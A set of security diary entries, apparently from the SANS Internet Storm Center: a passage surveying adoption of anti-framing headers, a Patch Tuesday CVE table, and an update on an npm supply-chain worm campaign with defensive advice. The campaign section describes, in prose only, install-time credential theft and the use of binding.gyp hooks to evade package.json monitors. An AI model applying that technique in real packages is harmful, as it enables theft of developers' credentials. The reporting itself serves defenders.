With this context in mind, let us look at how the use of these headers has evolved since 2023.

The data was gathered using the same approach that I used in 2023 – I used a simple Python script that went through the current Tranco list of the 1 million most popular domains and attempted to connect to each one over HTTPS, recording which security-related headers were present in the response. The script performed no retries on failure, and the following numbers are therefore not completely precise. Nevertheless, based on a few tests, I would estimate the error rate to be significantly less than 0.5%, which I consider sufficient for our purposes of seeing whether and how the use of both “framing protection” headers has changed over time.

And as you may see from the following charts, which include both the 2023 and 2026 data for comparison, the numbers have indeed moved in an interesting way over the past three years (and the direction of movement is not entirely consistent across different sample sizes).

In the top 1 thousand most popular domains, the overall coverage by either X-Frame-Options or CSP frame-ancestors directive has actually decreased – from 27.1% in 2023 to 23.1% in 2026. On the other hand, in the top 100 thousand domains, the coverage has increased significantly – from 20.6% to 37.4% – and in the full top 1 million domains it has grown from 14.4% to 29.7%. The divergence between the top 1k and the larger samples is somewhat puzzling at first glance, though it likely reflects the fact that the composition of the top 1k list has changed quite a bit over three years, with domains of some security-conscious organizations dropping out of the top 1k and being replaced by domains that don't serve web content in the traditional sense (CDN endpoints, infrastructure domains, API backends, and so on) and therefore don't send security headers at all.

Looking at the breakdown of specific X-Frame-Options directives in use, SAMEORIGIN remains the most common choice across all sample sizes, which is not surprising, as it is generally the most practical option for most web applications.

In the top 1 thousand domains, SAMEORIGIN has actually declined (from 19.4% to 15.3%), while in the top 100 thousand and top 1 million, it has increased notably – from 16.9% to 20.8% and from 12.4% to 19.4% respectively. The DENY directive has seen modest increases across all sample sizes, and the ALLOW-FROM directive remains at negligible levels in the larger samples and is completely absent from the 1k sample.

When it comes to CSP with the frame-ancestors directive, the numbers tell an encouraging story across all sample sizes. In the top 1k, usage has grown from 7.9% to 9.4%. In the top 100k, it has more than doubled – from 3.8% to 7.9%. And in the full 1 million sample, the increase is even more dramatic, from 1.9% to 7.1%.

This, next to the aforementioned more than doubling of domains that use either CSP frame-ancestors or X-Frame-Options, is one of the two the most positive findings in the entire dataset. As discussed above, CSP frame-ancestors is the currently recommended approach for preventing framing attacks, so its growth relative to X-Frame-Options, as well as in absolute terms, is a welcome trend.

Looking at the specific values used in the frame-ancestors directive, 'self' remains the most common choice, which is consistent with the 2023 findings. The 'none' directive, which provides the strictest protection by disallowing framing entirely regardless of origin, has seen notable growth in the larger sample sizes – from 0.43% to 1.29% in the top 100k, and from 0.20% to 2.49% in the top 1 million. This suggests that at least some administrators are becoming more deliberate in their framing policies, choosing to explicitly disallow all framing rather than merely restricting it to the same origin. The use of specific domain(s) in the frame-ancestors value has remained relatively flat or slightly decreased across all sample sizes, which is expected, as this configuration requires more deliberate setup, and is generally only applicable to specific deployment scenarios (e.g. embedded widgets, single sign-on flows etc.).

To sum up, despite the slight regression in the top 1k, the overall picture that emerges from the 2026 data is noticeably more positive than the 2023 one. Both X-Frame-Options and CSP frame-ancestors are more widely deployed across the 1 million most popular domains – and one can therefore assume that across the internet as a whole as well – than they were three years ago. CSP frame-ancestors in particular has seen a very significant growth, which is encouraging.

On the other hand, even with these improvements, the data still shows that even the majority of the most popular domains on the internet do not use either of these headers at all, leaving their users potentially exposed to framing-based attacks, including the phishing techniques discussed at the beginning of this diary. Given how straightforward these headers are to implement (for most web applications, adding the appropriate response header is a matter of a single line of server configuration), there is clearly still considerable room for improvement across the industry as a whole.

Then again, this also means that it will be that much more interesting to see where things stand in another two or three years…

[1] https://isc.sans.edu/diary/29698
[2] https://tranco-list.eu/
[3] https://isc.sans.edu/diary/29638
[4] https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-Frame-Options#allow-from_origin
[5] https://w3c.github.io/webappsec-csp/#frame-ancestors-and-frame-options

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

Microsoft today released patches for 204 vulnerabilities. 38 of these vulnerabilities are considered critical, and three have been disclosed before today. Six of the vulnerabilities affect Microsoft cloud solutions and do not require any user action. In addition, Microsoft incorporated 360 different vulnerabilities affecting Chromium into its Edge browser.

This is certainly a busier-than-usual patch Tuesday. In particular, the large number of patched Chromium/Edge vulnerabilities underscores the impact of AI tools on vulnerability discovery. 

Some noteworthy vulnerabilities:

CVE-2026-49160: This vulnerability was made public a week ago. As implemented, the "HPACK" compression algorithm in HTTP/2 and HTTP/3 can lead to a "compression bomb" that consumes excessive resources. Many HTTP/2 implementations are vulnerable. Microsoft addressed this issue by adding a "MaxHeadersCount" registry setting that limits the amount of allocated resources.

CVE-2026-47291: Affecting the Microsoft web server engine http.sys, just like CVE-2026-49160, this vulnerability is rated critical and allows for remote code execution. The integer overflow requires an oversized request to trigger it. Microsoft recommends restricting the "MaxRequestBytes" to prevent exploitation until the patch can be rolled out.

CVE-2026-45648: A stack-based buffer overflow in Active Directory Domain Services. A successful attack requires authentication, and Microsoft considers exploit development as "unlikely".

Microsoft fixed three different BitLocker security feature bypass vulnerabilities. One of the vulnerabilities was already publicly known. An "anonymous" researcher is credited with the discovery, but I assume it is one of the "Nightmare Eclipse" vulnerabilities. 

Several critical vulnerabilities affect Microsoft Office, Outlook, and Word.

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET SDK Elevation of Privilege Vulnerability
%%cve:2026-45490%%	No	No	-	-	Important	7.8	6.8
.NET Tampering Vulnerability
%%cve:2026-45491%%	No	No	-	-	Important	6.2	5.4
ASP.NET Core Denial of Service Vulnerability
%%cve:2026-45591%%	No	No	-	-	Important	7.5	6.5
Azure HorizonDB Elevation of Privilege Vulnerability (no customer action required)
%%cve:2026-48567%%	No	No	-	-	Critical	10.0	8.7
Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability
%%cve:2026-32193%%	No	No	-	-	Critical	8.8	7.7
Azure Stack Edge Remote Code Execution Vulnerability
%%cve:2026-47643%%	No	No	-	-	Important	9.8	8.5
Azure Stack Edge Spoofing Vulnerability
%%cve:2026-41098%%	No	No	-	-	Important	8.4	7.3
Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability (no customer action required)
%%cve:2026-47644%%	No	No	-	-	Critical	6.5	5.7
DHCP Client Service Remote Code Execution Vulnerability
%%cve:2026-44815%%	No	No	-	-	Critical	9.8	8.5
HTTP.sys Denial of Service Vulnerability
%%cve:2026-49160%%	Yes	No	-	-	Important	7.5	6.5
HTTP.sys Remote Code Execution Vulnerability
%%cve:2026-47291%%	No	No	-	-	Critical	9.8	8.5
M365 Copilot Information Disclosure Vulnerability (no customer action required)
%%cve:2026-42824%%	No	No	-	-	Critical	6.5	5.7
Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability
%%cve:2026-45642%%	No	No	-	-	Important	3.9	3.4
Microsoft Azure Network Adapter Elevation of Privilege Vulnerability
%%cve:2026-45476%%	No	No	-	-	Critical	8.2	7.1
Microsoft Bing Search Spoofing Vulnerability
%%cve:2026-45650%%	No	No	-	-	Important	4.3	3.8
Microsoft Cryptographic Services Elevation of Privilege Vulnerability
%%cve:2026-44810%%	No	No	-	-	Critical	8.4	7.3
Microsoft DWM Core Library Elevation of Privilege Vulnerability
%%cve:2026-45637%%	No	No	-	-	Important	7.8	6.8
Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability
%%cve:2026-45647%%	No	No	-	-	Important	5.5	4.8
Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability
%%cve:2026-40371%%	No	No	-	-	Important	8.8	7.7
Microsoft Excel Information Disclosure Vulnerability
%%cve:2026-44822%%	No	No	-	-	Important	8.2	7.1
%%cve:2026-45455%%	No	No	-	-	Important	3.3	2.9
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2026-45469%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-44817%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-44818%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-44820%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-44823%%	No	No	-	-	Important	7.8	6.8
Microsoft Excel Security Feature Bypass Vulnerability
%%cve:2026-45459%%	No	No	-	-	Important	3.3	2.9
Microsoft Exchange Online Information Disclosure Vulnerability (no customer action required)
%%cve:2026-48579%%	No	No	-	-	Critical	9.1	7.9
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2026-45504%%	No	No	-	-	Important	8.8	7.7
Microsoft Exchange Server Information Disclosure Vulnerability
%%cve:2026-45502%%	No	No	-	-	Important	5.0	4.4
%%cve:2026-45503%%	No	No	-	-	Important	8.1	7.1
Microsoft Exchange Server Remote Code Execution Vulnerability
%%cve:2026-45583%%	No	No	-	-	Important	7.5	6.5
Microsoft Exchange Server Spoofing Vulnerability
%%cve:2026-45500%%	No	No	-	-	Important	6.1	5.3
%%cve:2026-45501%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-47631%%	No	No	-	-	Important	8.1	7.1
Microsoft Graph Information Disclosure Vulnerability (no customer action required)
%%cve:2026-47655%%	No	No	-	-	Critical	6.5	5.7
Microsoft Graphics Component Elevation of Privilege Vulnerability
%%cve:2026-42986%%	No	No	-	-	Important	7.8	6.8
Microsoft Kinect Elevation of Privilege Vulnerability
%%cve:2026-41092%%	No	No	-	-	Important	7.8	6.8
Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability
%%cve:2026-45644%%	No	No	-	-	Important	8.0	7.0
Microsoft M365 Copilot Remote Code Execution Vulnerability (no customer action required)
%%cve:2026-45497%%	No	No	-	-	Critical	7.7	6.7
Microsoft Office Click-To-Run Elevation of Privilege Vulnerability
%%cve:2026-47293%%	No	No	-	-	Important	7.0	6.1
Microsoft Office Information Disclosure Vulnerability
%%cve:2026-45485%%	No	No	-	-	Important	3.3	2.9
%%cve:2026-44821%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-45460%%	No	No	-	-	Critical	4.7	4.1
Microsoft Office Project Server Spoofing Vulnerability
%%cve:2026-45483%%	No	No	-	-	Important	4.6	4.0
Microsoft Office Remote Code Execution Vulnerability
%%cve:2026-45475%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-45472%%	No	No	-	-	Critical	8.4	7.3
%%cve:2026-45474%%	No	No	-	-	Critical	8.4	7.3
%%cve:2026-44819%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-44824%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-45461%%	No	No	-	-	Critical	8.4	7.3
%%cve:2026-45645%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-45463%%	No	No	-	-	Critical	8.4	7.3
Microsoft Outlook and Word Remote Code Execution Vulnerability
%%cve:2026-45456%%	No	No	-	-	Critical	8.4	7.3
%%cve:2026-45458%%	No	No	-	-	Critical	8.4	7.3
%%cve:2026-47635%%	No	No	-	-	Critical	8.4	7.3
Microsoft PC Manager Security Feature Bypass Vulnerability
%%cve:2026-49161%%	No	No	-	-	Important	7.8	6.8
Microsoft PowerToys Elevation of Privilege Vulnerability
%%cve:2026-42902%%	No	No	-	-	Important	7.8	6.8
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2026-45484%%	No	No	-	-	Important	8.8	7.7
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2026-45454%%	No	No	-	-	Important	6.5	5.7
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2026-47298%%	No	No	-	-	Important	8.0	7.0
Microsoft SharePoint Server Spoofing Vulnerability
%%cve:2026-45467%%	No	No	-	-	Important	4.6	4.0
%%cve:2026-45468%%	No	No	-	-	Important	4.6	4.0
%%cve:2026-45479%%	No	No	-	-	Important	4.6	4.0
%%cve:2026-45453%%	No	No	-	-	Important	5.4	4.7
%%cve:2026-47636%%	No	No	-	-	Important	5.4	4.7
%%cve:2026-47637%%	No	No	-	-	Important	4.6	4.0
%%cve:2026-47638%%	No	No	-	-	Important	4.6	4.0
%%cve:2026-47639%%	No	No	-	-	Important	5.4	4.7
%%cve:2026-47641%%	No	No	-	-	Important	4.6	4.0
%%cve:2026-33113%%	No	No	-	-	Important	5.4	4.7
%%cve:2026-45462%%	No	No	-	-	Important	4.6	4.0
%%cve:2026-45464%%	No	No	-	-	Important	5.4	4.7
%%cve:2026-45465%%	No	No	-	-	Important	5.4	4.7
%%cve:2026-47634%%	No	No	-	-	Important	7.3	6.4
%%cve:2026-47640%%	No	No	-	-	Important	4.6	4.0
%%cve:2026-45481%%	No	No	-	-	Important	7.3	6.4
%%cve:2026-48560%%	No	No	-	-	Important	5.4	4.7
%%cve:2026-48562%%	No	No	-	-	Important	4.6	4.0
Microsoft Teams for Android Information Disclosure Vulnerability
%%cve:2026-42835%%	No	No	-	-	Important	8.1	7.1
Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability
%%cve:2026-45606%%	No	No	-	-	Important	5.5	4.8
Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability
%%cve:2026-45482%%	No	No	-	-	Important	8.4	7.3
Microsoft Word Information Disclosure Vulnerability
%%cve:2026-45466%%	No	No	-	-	Important	3.3	2.9
Microsoft Word Remote Code Execution Vulnerability
%%cve:2026-45471%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-45486%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-45643%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-45457%%	No	No	-	-	Important	7.8	6.8
NT OS Kernel Elevation of Privilege Vulnerability
%%cve:2026-42980%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-42916%%	No	No	-	-	Important	7.8	6.8
Nuance PowerScribe Remote Code Execution Vulnerability
%%cve:2026-26142%%	No	No	-	-	Critical	9.8	8.5
Office for Android Spoofing Vulnerability
%%cve:2026-45649%%	No	No	-	-	Important	7.1	6.2
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2026-47289%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-47653%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-47654%%	No	No	-	-	Critical	7.5	6.6
%%cve:2026-48563%%	No	No	-	-	Critical	7.5	6.5
%%cve:2026-42909%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-42913%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-42992%%	No	No	-	-	Critical	7.5	6.5
%%cve:2026-44799%%	No	No	-	-	Critical	7.5	6.5
%%cve:2026-44801%%	No	No	-	-	Critical	7.5	6.5
%%cve:2026-42985%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-42993%%	No	No	-	-	Important	7.5	6.5
Secure Boot Security Feature Bypass Vulnerability
%%cve:2026-45588%%	No	No	-	-	Important	7.9	6.9
%%cve:2026-48568%%	No	No	-	-	Important	7.9	6.9
%%cve:2026-48570%%	No	No	-	-	Important	7.9	7.1
%%cve:2026-48573%%	No	No	-	-	Important	7.9	6.9
%%cve:2026-48575%%	No	No	-	-	Important	7.9	6.9
%%cve:2026-48576%%	No	No	-	-	Important	7.9	6.9
%%cve:2026-48578%%	No	No	-	-	Important	7.9	6.9
%%cve:2026-45654%%	No	No	-	-	Important	7.9	6.9
UEFI Secure Boot Security Feature Bypass Vulnerability
%%cve:2026-45656%%	No	No	-	-	Important	7.8	6.8
Visual Studio Code Elevation of Privilege Vulnerability
%%cve:2026-40376%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-47281%%	No	No	-	-	Important	9.6	8.3
Visual Studio Code Information Disclosure Vulnerability
%%cve:2026-47284%%	No	No	-	-	Important	6.5	5.7
Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability
%%cve:2026-47292%%	No	No	-	-	Important	7.8	6.8
Visual Studio Code Security Feature Bypass Vulnerability
%%cve:2026-48569%%	No	No	-	-	Important	7.1	6.2
Visual Studio Code Tampering Vulnerability
%%cve:2026-47287%%	No	No	-	-	Important	6.5	5.7
Windows Active Directory Domain Services Remote Code Execution Vulnerability
%%cve:2026-45648%%	No	No	-	-	Critical	8.8	7.7
Windows Administrator Protection Secure Feature Bypass Vulnerability
%%cve:2026-42829%%	No	No	-	-	Important	7.8	6.8
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2026-34335%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-45601%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-45598%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-45596%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-45638%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-45603%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-42911%%	No	No	-	-	Important	7.0	6.1
Windows Application Identity (AppID) Information Disclosure Vulnerability
%%cve:2026-45594%%	No	No	-	-	Important	5.5	4.8
Windows BitLocker Security Feature Bypass Vulnerability
%%cve:2026-45655%%	No	No	-	-	Important	5.3	4.6
%%cve:2026-45658%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-50507%%	Yes	No	-	-	Important	6.8	6.1
Windows Bluetooth Port Driver Elevation of Privilege Vulnerability
%%cve:2026-45640%%	No	No	-	-	Important	7.0	6.1
Windows Bluetooth Service Elevation of Privilege Vulnerability
%%cve:2026-45605%%	No	No	-	-	Important	7.8	6.8
Windows Boot Manager Security Feature Bypass Vulnerability
%%cve:2026-47656%%	No	No	-	-	Important	7.9	6.9
Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability
%%cve:2026-45586%%	Yes	No	-	-	Important	7.8	6.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2026-44809%%	No	No	-	-	Important	7.8	6.8
Windows DHCP Client Information Disclosure Vulnerability
%%cve:2026-45634%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-45608%%	No	No	-	-	Important	6.8	5.9
Windows DNS Client Elevation of Privilege Vulnerability
%%cve:2026-41108%%	No	No	-	-	Important	7.0	6.1
Windows DWM Core Library Elevation of Privilege Vulnerability
%%cve:2026-42905%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-44811%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-44808%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-44807%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-42983%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-44802%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-44813%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-44804%%	No	No	-	-	Important	7.8	6.8
Windows DWM Core Library Information Disclosure Vulnerability
%%cve:2026-48566%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-44814%%	No	No	-	-	Important	5.5	4.8
Windows Deployment Services (WDS) Remote Code Execution
%%cve:2026-42987%%	No	No	-	-	Critical	8.1	7.1
Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability
%%cve:2026-33828%%	No	No	-	-	Critical	7.8	6.8
Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability
%%cve:2026-45602%%	No	No	-	-	Important	9.1	7.9
Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability
%%cve:2026-42836%%	No	No	-	-	Important	7.0	6.1
Windows Graphics Component Remote Code Execution Vulnerability
%%cve:2026-44803%%	No	No	-	-	Critical	7.8	6.8
%%cve:2026-44812%%	No	No	-	-	Critical	7.8	6.8
Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability
%%cve:2026-42910%%	No	No	-	-	Important	7.8	6.8
Windows Hyper-V Information Disclosure Vulnerability
%%cve:2026-42972%%	No	No	-	-	Important	5.5	4.8
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2026-45607%%	No	No	-	-	Critical	8.4	7.3
%%cve:2026-45641%%	No	No	-	-	Critical	8.4	7.3
%%cve:2026-47652%%	No	No	-	-	Critical	8.2	7.1
Windows Internet (wininet.dll) Elevation of Privilege Vulnerability
%%cve:2026-45592%%	No	No	-	-	Important	7.8	6.8
Windows Kerberos Denial of Service Vulnerability
%%cve:2026-42903%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-42914%%	No	No	-	-	Important	5.3	4.6
Windows Kerberos Key Distribution Center (KDC) Remote Code Execution
%%cve:2026-47288%%	No	No	-	-	Critical	7.1	6.2
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2026-48583%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-45653%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-42984%%	No	No	-	-	Important	7.0	6.1
Windows Kernel Remote Code Execution Vulnerability
%%cve:2026-45657%%	No	No	-	-	Critical	9.8	8.5
Windows Kernel-Mode Driver Elevation of Privilege Vulnerability
%%cve:2026-45600%%	No	No	-	-	Important	7.8	6.8
Windows Managed Installer Information Disclosure Vulnerability
%%cve:2026-45604%%	No	No	-	-	Important	5.5	4.8
Windows Mark of the Web Security Feature Bypass Vulnerability
%%cve:2026-45595%%	No	No	-	-	Important	5.4	4.7
Windows Media Remote Code Execution Vulnerability
%%cve:2026-48574%%	No	No	-	-	Critical	7.8	6.8
Windows NTFS Remote Code Execution Vulnerability
%%cve:2026-45636%%	No	No	-	-	Important	7.8	6.8
Windows NTLM Spoofing Vulnerability
%%cve:2026-50508%%	No	No	-	-	Important	6.5	5.7
Windows Narrator Braille Elevation of Privilege Vulnerability
%%cve:2026-48565%%	No	No	-	-	Important	7.8	6.8
Windows Network Controller (NC) Host Agent Denial of Service Vulnerability
%%cve:2026-44805%%	No	No	-	-	Important	5.5	4.8
Windows Performance Monitor Remote Code Execution Vulnerability
%%cve:2026-42981%%	No	No	-	-	Important	8.1	7.1
%%cve:2026-42974%%	No	No	-	-	Important	8.1	7.1
Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability
%%cve:2026-45487%%	No	No	-	-	Important	7.8	6.8
Windows Projected File System Elevation of Privilege Vulnerability
%%cve:2026-42828%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-42837%%	No	No	-	-	Important	7.8	6.8
Windows Push Notification Information Disclosure Vulnerability
%%cve:2026-42969%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-42971%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-42970%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-42973%%	No	No	-	-	Important	5.5	4.8
Windows Push Notifications Elevation of Privilege Vulnerability
%%cve:2026-42978%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-42977%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-42979%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-42991%%	No	No	-	-	Important	7.8	6.8
Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability
%%cve:2026-45639%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-42908%%	No	No	-	-	Important	7.5	6.5
Windows SDK Elevation of Privilege Vulnerability
%%cve:2026-45593%%	No	No	-	-	Important	7.8	6.8
Windows Shell Information Disclosure Vulnerability
%%cve:2026-42906%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-42907%%	No	No	-	-	Important	6.5	5.7
Windows Storage Elevation of Privilege Vulnerability
%%cve:2026-47648%%	No	No	-	-	Important	7.0	6.1
Windows TCP/IP Denial of Service Vulnerability
%%cve:2026-42915%%	No	No	-	-	Important	5.7	5.0
Windows TCP/IP Elevation of Privilege Vulnerability
%%cve:2026-42904%%	No	No	-	-	Important	9.6	8.3
Windows Telephony Server Information Disclosure Vulnerability
%%cve:2026-42968%%	No	No	-	-	Important	5.5	4.8
Windows Telephony Service Elevation of Privilege Vulnerability
%%cve:2026-42912%%	No	No	-	-	Important	7.0	6.1
Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability
%%cve:2026-45597%%	No	No	-	-	Important	7.0	6.1
Windows UPnP Device Host Remote Code Execution Vulnerability
%%cve:2026-45599%%	No	No	-	-	Important	8.1	7.1
%%cve:2026-45635%%	No	No	-	-	Important	8.1	7.1
Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability
%%cve:2026-40409%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-40404%%	No	No	-	-	Important	7.8	6.8
Winlogon Elevation of Privilege Vulnerability
%%cve:2026-42989%%	No	No	-	-	Important	7.8	6.8

 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

 

This diary continues the Internet Storm Center's tracking of the TeamPCP supply chain campaign, first documented in the SANS white paper When the Security Scanner Became the Weapon and most recently in the handler diary Activity Through 2026-05-24. Since that update, the story moved into two new places: the United States government, which formally caught up to the campaign, and the wider population of attackers now wielding the Mini Shai-Hulud framework that TeamPCP open-sourced last month.

Bottom line up front

Two developments stand out since the last update. First, the federal response that prior coverage flagged as conspicuously absent arrived in a roughly 48-hour burst: on 2026-05-27 CISA added the campaign's primary tracking vulnerabilities to its Known Exploited Vulnerabilities catalog, and on 2026-05-28 it issued its first standalone advisory naming the Nx Console and GitHub repository compromises. Second, the leaked Mini Shai-Hulud framework produced its first significant in-the-wild npm wave: beginning 2026-06-01, a credential-stealing worm that Wiz named "Miasma" compromised dozens of @redhat-cloud-services packages, followed two days later by a "Phantom Gyp" variant that reached 57 more. Vendors trace the malware to the TeamPCP lineage but now explicitly caution that a copycat using the public toolkit cannot be ruled out. The affiliated extortion channels stayed frozen, so this period's activity was ecosystem-scale worming rather than named-victim extortion.

How this developed

The last update closed with two open questions: whether CISA would act on a campaign it had so far left out of the KEV catalog, and whether the framework TeamPCP published to GitHub would produce copycat attacks. Both resolved in the affirmative. CISA's KEV addition and standalone advisory closed the government-silence gap within roughly a day of each other. A week later, the Red Hat npm compromise demonstrated that the open-sourced code is now operational in other hands. The throughline is that the campaign has entered a phase where its tradecraft outlives any single operator: the same techniques, subverted build pipelines that emit validly signed artifacts and install-time credential theft, now arrive from attackers who may have no direct connection to TeamPCP at all.

What changed, by theme

CISA formally caught up

On 2026-05-27, CISA added three vulnerabilities to the KEV catalog, including %%cve:2026-45321%% (the TanStack / Mini Shai-Hulud tracking identifier) and %%cve:2026-48027%% (the malicious code embedded in the Nx Console v18.95.0 build), both carrying a federal remediation due date of 2026-06-10, alongside %%cve:2026-8398%% (DAEMON Tools Lite). This resolved the multi-week KEV omission that earlier coverage tracked as an open question. The additions were corroborated by SC Media and Security Affairs.

The next day, 2026-05-28, CISA published its first standalone advisory on the campaign, Supply Chain Compromises Impact Nx Console and GitHub Repositories. The advisory documents the poisoned Nx Console VS Code extension auto-distributed through the editor update mechanism, the exfiltration of approximately 3,800 GitHub-internal repositories, the assignment of %%cve:2026-48027%%, and a separate "Megalodon" campaign that injected malicious GitHub Actions workflows to harvest CI/CD secrets and cloud credentials in public repositories. CISA urges forensic review of CI/CD logs and cloud audit trails and rotation of all CI/CD-accessible secrets. TechRadar Pro and Cybersecurity Dive carried the advisory to a wider audience.

The leaked framework produced its first major wave: Red Hat npm

On 2026-06-01, a supply chain attack that Wiz named "Miasma" compromised at least 32 packages (across roughly 90 or more versions) published under the @redhat-cloud-services npm scope, with the affected packages cumulatively averaging about 80,000 weekly downloads. The attacker used a compromised Red Hat employee GitHub account to inject malicious GitHub Actions workflows into RedHatInsights repositories, so the malicious releases carried valid SLSA provenance attestations: the pipeline genuinely ran Red Hat code that contained attacker-injected steps. The payload was a credential-stealing worm with a preinstall script and new cloud-identity collectors for GCP and Azure, and the obfuscated index.js grew from roughly 200 KB to about 4.29 MB. Corroborated by BleepingComputer and Cybersecurity Dive.

Microsoft Threat Intelligence published its analysis on 2026-06-02, confirming the 32 packages across more than 90 versions and characterizing the payload as a lightly reskinned descendant of the Mini Shai-Hulud worm. Unit 42 folded the compromise into its running npm tracker the same day.

Install-time tradecraft advanced within days: Phantom Gyp

On 2026-06-03, a follow-on variant that StepSecurity named "Phantom Gyp" compromised 57 additional packages across 286 or more malicious versions in under two hours. Rather than modifying the package.json scripts field, the variant weaponized binding.gyp files to trigger node-gyp execution at install time, evading monitors that watch only package.json. The largest named victim was @vapi-ai/server-sdk, the official server SDK for the Vapi.ai voice platform, with over 408,000 monthly downloads. See TechTimes, corroborated by Wiz and Protos Labs.

Attribution is now genuinely ambiguous

Wiz, Microsoft, and Unit 42 all describe the Red Hat payload as Mini Shai-Hulud derived while explicitly warning that a copycat leveraging the public toolkit cannot be excluded. Wiz states the similarities should be treated as evidence of TTP overlap rather than definitive attribution to TeamPCP. This is the practical materialization of the copycat risk flagged when TeamPCP open-sourced its framework: the defender takeaway is unchanged, but single-incident attribution to the operators is now weaker than it was during the operator-run phase earlier in the campaign.

Signed provenance still does not save you

As with the earlier TanStack incident, the Red Hat packages shipped valid provenance attestations because the build pipeline itself was subverted from within. Trade reporting this period foregrounded the point that signed attestations cannot block a pipeline hijack. Build-provenance attestation confirms that an artifact came from a given pipeline; it does not confirm that the pipeline was free of attacker-injected steps.

Monetization stayed frozen

The affiliated extortion channels posted nothing in this period. Per direct checks of ransomware.live, the Vect leak site remained at 25 victims with its most recent listing dated 2026-04-15, and CipherForce remained at 6 victims with last activity dated 2026-02-23. The contrast from earlier in the campaign holds: the supply chain operation draws government and vendor attention while the affiliate-ransomware channel remains dormant.

What defenders should do now

• Treat the 2026-06-10 CISA remediation deadline for %%cve:2026-45321%% and %%cve:2026-48027%% as binding. Confirm no exposed Nx Console v18.95.0 install remains and that TanStack-related exposure is remediated.
• Rotate all CI/CD-accessible secrets and cloud credentials, and review CI/CD logs and cloud audit trails, per the CISA advisory. Assume any token reachable from a build pipeline is potentially exposed.
• Inventory use of the affected scopes (@redhat-cloud-services, and the earlier @antv) and packages such as @vapi-ai/server-sdk. Pin to known-good versions and rebuild from a trusted state.
• Monitor install-time execution beyond the package.json scripts field. Include binding.gyp and node-gyp hooks in detection, since Phantom Gyp moved specifically to evade scripts-only monitors. Consider running install with scripts disabled in CI where feasible.
• Do not rely on SLSA provenance attestations alone. Valid provenance does not defend against a compromised build environment; pair it with build-environment integrity controls and behavioral monitoring of install steps.
